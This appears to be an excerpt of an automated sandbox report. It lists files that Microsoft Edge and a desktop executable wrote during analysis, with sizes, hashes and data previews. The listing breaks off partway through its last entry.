Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\264edf46-72ae-453e-8261-d41926552db7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44933
Entropy (8bit):	6.095356705901916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW1Ji1zNtj/4W9mtH9gNI7yoDWFPKJDSgzMMd6qD47d:+/Ps+wsI7ynxlCHwKtSmd6qE7lFoC
MD5:	6CC53F02AF7DA2F87E5C598AD4B4E3D1
SHA1:	47B2AAEB8FE0B02B962C00C6239C1140C0641475
SHA-256:	B19315E675D5408A078FA5633E90FB6A5DA0FABE403E4C6F9F2B88AB6FD38A68
SHA-512:	D92DF97BDC111461F8DFF0D5C9330EAFB77DA5003C181C7A5C5D3394813D62707582A9F2CE3E59941B294967170CA61F748273393170AA1776BFAEB32F4B5633
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\355871f4-f58a-4aa9-aa0a-9fd00255b8bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44910
Entropy (8bit):	6.095048640856352
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW/Ji1zNtj/4W9mtHNEbWuQaJjKJDSgzMMd6qD47u3S:+/Ps+wsI7ynBlCH6KtSmd6qE7lFoC
MD5:	2C81E07505DE24FD931611038534F201
SHA1:	FD92A0E67B45931C5D43BC086F7239DF7585DD2E
SHA-256:	4505D4BEAF90E7E0C1AC9BBF867C6607D540FE73F9001E4AA6B1EC85DC8A9817
SHA-512:	FB6B9CBAC5FF45ECB4CF7FABFA456AC19D31BEA9D971D76FB8110356355F98911685478A0D11BB54D028A53C53A34B2AA36362757CB1B9AF9D67CD9004EADF8D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\75eb5b88-57b2-4210-8cf3-258c564005e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44933
Entropy (8bit):	6.095356705901916
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW1Ji1zNtj/4W9mtH9gNI7yoDWFPKJDSgzMMd6qD47d:+/Ps+wsI7ynxlCHwKtSmd6qE7lFoC
MD5:	6CC53F02AF7DA2F87E5C598AD4B4E3D1
SHA1:	47B2AAEB8FE0B02B962C00C6239C1140C0641475
SHA-256:	B19315E675D5408A078FA5633E90FB6A5DA0FABE403E4C6F9F2B88AB6FD38A68
SHA-512:	D92DF97BDC111461F8DFF0D5C9330EAFB77DA5003C181C7A5C5D3394813D62707582A9F2CE3E59941B294967170CA61F748273393170AA1776BFAEB32F4B5633
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8f35d30d-7e2b-4cb4-8012-3ff345bc9805.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089769712695472
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWndi1zNtPMPkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yndskzItSmd6qE7lFoC
MD5:	6E0077CADBB1A44A438C27060257742D
SHA1:	67A34D7719A4DDBD0AA617F7C6E466F5789D430F
SHA-256:	CED7AF48831B944E0B9A0D3F92159DEB7943D02D2FC9540F287591885A314FE2
SHA-512:	685F97595D20035EA428A438E226470BB30641FB13AD1CE27A3C1FCE231F413729DF45DB43F71E66B8859B17DF2AABF68B71EDF95643123DD930B77A5D4F26FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-676AB0D9-1FEC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04666523005309292
Encrypted:	false
SSDEEP:	192:N/qw0m5tmcnOAt6YmJgA8x5XSggykfhbNNETxIr/ERQcQe4BbocNn8y08Tcm2RGY:Bf0UtXsgk9hZRYH41oc08T2RGOD
MD5:	8770B1EA572B079A7C348EC4D945598C
SHA1:	149B5EBC08A1B78C2889450A2FA6E71A4AD216D2
SHA-256:	DAAE84E6DDE81965CE5E86DB576738A22A20B79B8D4B13B8E783E3883D7E7C7A
SHA-512:	53002FD24006EDB850F4328CE7BCB34CF1DEBC0FB286CEF119F156CA5C193275448293238581594E5218C2BBEFCE4381C6C75B0D53FA845D1BE1054252D4F8FD
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".rdrfbg20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2........V...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089769712695472
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWndi1zNtPMPkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yndskzItSmd6qE7lFoC
MD5:	6E0077CADBB1A44A438C27060257742D
SHA1:	67A34D7719A4DDBD0AA617F7C6E466F5789D430F
SHA-256:	CED7AF48831B944E0B9A0D3F92159DEB7943D02D2FC9540F287591885A314FE2
SHA-512:	685F97595D20035EA428A438E226470BB30641FB13AD1CE27A3C1FCE231F413729DF45DB43F71E66B8859B17DF2AABF68B71EDF95643123DD930B77A5D4F26FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF388e8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089769712695472
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWndi1zNtPMPkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yndskzItSmd6qE7lFoC
MD5:	6E0077CADBB1A44A438C27060257742D
SHA1:	67A34D7719A4DDBD0AA617F7C6E466F5789D430F
SHA-256:	CED7AF48831B944E0B9A0D3F92159DEB7943D02D2FC9540F287591885A314FE2
SHA-512:	685F97595D20035EA428A438E226470BB30641FB13AD1CE27A3C1FCE231F413729DF45DB43F71E66B8859B17DF2AABF68B71EDF95643123DD930B77A5D4F26FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF388f7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089769712695472
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWndi1zNtPMPkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yndskzItSmd6qE7lFoC
MD5:	6E0077CADBB1A44A438C27060257742D
SHA1:	67A34D7719A4DDBD0AA617F7C6E466F5789D430F
SHA-256:	CED7AF48831B944E0B9A0D3F92159DEB7943D02D2FC9540F287591885A314FE2
SHA-512:	685F97595D20035EA428A438E226470BB30641FB13AD1CE27A3C1FCE231F413729DF45DB43F71E66B8859B17DF2AABF68B71EDF95643123DD930B77A5D4F26FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39684.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089769712695472
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWndi1zNtPMPkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yndskzItSmd6qE7lFoC
MD5:	6E0077CADBB1A44A438C27060257742D
SHA1:	67A34D7719A4DDBD0AA617F7C6E466F5789D430F
SHA-256:	CED7AF48831B944E0B9A0D3F92159DEB7943D02D2FC9540F287591885A314FE2
SHA-512:	685F97595D20035EA428A438E226470BB30641FB13AD1CE27A3C1FCE231F413729DF45DB43F71E66B8859B17DF2AABF68B71EDF95643123DD930B77A5D4F26FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39694.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089769712695472
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWndi1zNtPMPkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yndskzItSmd6qE7lFoC
MD5:	6E0077CADBB1A44A438C27060257742D
SHA1:	67A34D7719A4DDBD0AA617F7C6E466F5789D430F
SHA-256:	CED7AF48831B944E0B9A0D3F92159DEB7943D02D2FC9540F287591885A314FE2
SHA-512:	685F97595D20035EA428A438E226470BB30641FB13AD1CE27A3C1FCE231F413729DF45DB43F71E66B8859B17DF2AABF68B71EDF95643123DD930B77A5D4F26FE
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\gYjK72gL17.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
